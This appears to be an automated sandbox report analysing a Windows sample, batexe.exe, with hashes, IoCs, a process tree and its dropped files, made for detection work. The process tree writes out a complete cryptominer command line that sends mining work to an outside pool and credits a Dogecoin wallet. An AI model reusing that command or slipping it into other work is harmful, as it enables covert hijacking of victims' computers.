73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
298s
platform
windows10-1703_x64
resource
win10-20231220-ja
resource tags

arch:x64arch:x86image:win10-20231220-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13-02-2024 20:53

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4652	b2e.exe
4752	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4752	cpuminer-sse2.exe
4752	cpuminer-sse2.exe
4752	cpuminer-sse2.exe
4752	cpuminer-sse2.exe
4752	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4496-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4496 wrote to memory of 4652	4496	batexe.exe	75
PID 4496 wrote to memory of 4652	4496	batexe.exe	75
PID 4496 wrote to memory of 4652	4496	batexe.exe	75
PID 4652 wrote to memory of 3548	4652	b2e.exe	76
PID 4652 wrote to memory of 3548	4652	b2e.exe	76
PID 4652 wrote to memory of 3548	4652	b2e.exe	76
PID 3548 wrote to memory of 4752	3548	cmd.exe	79
PID 3548 wrote to memory of 4752	3548	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4496
- C:\Users\Admin\AppData\Local\Temp\90A7.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\90A7.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\90A7.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4652
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\925D.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3548
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\90A7.tmp\b2e.exe

Filesize
2.1MB

MD5
c65046109eeacc05c12e1d2d47bbcdce

SHA1
f684b885a159684fdc5f276d2e97f1f62e656147

SHA256
3de769cb77e6c4e7be2f7c2683b6e3a7f58f7cd8261f25cd14c868163a5f82fc

SHA512
a0bd72ec5132d11f00120b161c4df1aa93f734dcf9d9b9bb1eda51f96a74a69276aaec7e8cf1fcb762362e887569ad4cb2dbd40aaf541141dfb1ffb7eb51d2dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\90A7.tmp\b2e.exe

Filesize
2.4MB

MD5
000f75482a8f3c361e1ef9b58a16ee5f

SHA1
4e67fd460b9fa59dc5c1147833ad2f40f94d0279

SHA256
5143fc3449d84ea5cf510321dc92e2e28e68385863a6b07da646a406b53a875e

SHA512
fe72c633e123cea33c480746a4534fe6228f2c1f6184edbc75c144a201fb556ba0d68415c2abaa9c844a39bb900300f24476e38a4e13825829da54d629eaf152

Download Submit
C:\Users\Admin\AppData\Local\Temp\925D.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.7MB

MD5
b642748b0562127d3cbcdc68c29a0ffe

SHA1
89beef28561f9a31c3a89ba607bf844da910b636

SHA256
aa1050a9a1a104109d142f3d1cec2fade86e844db872fe8dbe098a26e0a32514

SHA512
31e229e8197d49800415692ac068e091b2f21a105317e52819cd6b12580b194494cd3a03f7e40f1c6dd2a7e2f230c5f28c253187c89a1bb2200e69462dce20c4

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.9MB

MD5
69b86ab7d2acd59382a35f87b0b35a3a

SHA1
edf529be59f2ba4e5192999f4a251a53d11ee67c

SHA256
a2f98a3d989bc839bb447412651dfc71dddcdaf0fc2c2eeefb60904cd6302f25

SHA512
f18f239d5fd72536e667cd0e10275315f5e6a7ce3a43f684ea7be2c0e0c50f57868d215b7b0b27d4a3a72c186e3db03525a2c876928529b29f1a5682ca5faace

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.5MB

MD5
61bbbab1162df1934ef7a19d3b820a62

SHA1
7c791a14f8044a8f82aa8eec4032a078b463a459

SHA256
ce04ac1bf661d58ec9365ae5ba604e5009e96515fca8bd47d44ff8264fc6b486

SHA512
03003d9c57eeef988a95e2d48975e64f6a38d4a37bbff4554d2bb872a28f934aa2dcf1cfaa9d2429a9b670b67566e597bb3f16ea507775d3f4fcbae038ceda52

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/4496-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4652-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4652-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4752-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4752-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4752-43-0x000000006F0E0000-0x000000006F178000-memory.dmp

Filesize
608KB

Download
memory/4752-44-0x0000000001060000-0x0000000002915000-memory.dmp

Filesize
24.7MB

Download
memory/4752-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4752-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4752-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4752-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4752-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4752-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4752-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4752-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4752-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4752-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4752-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4752-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download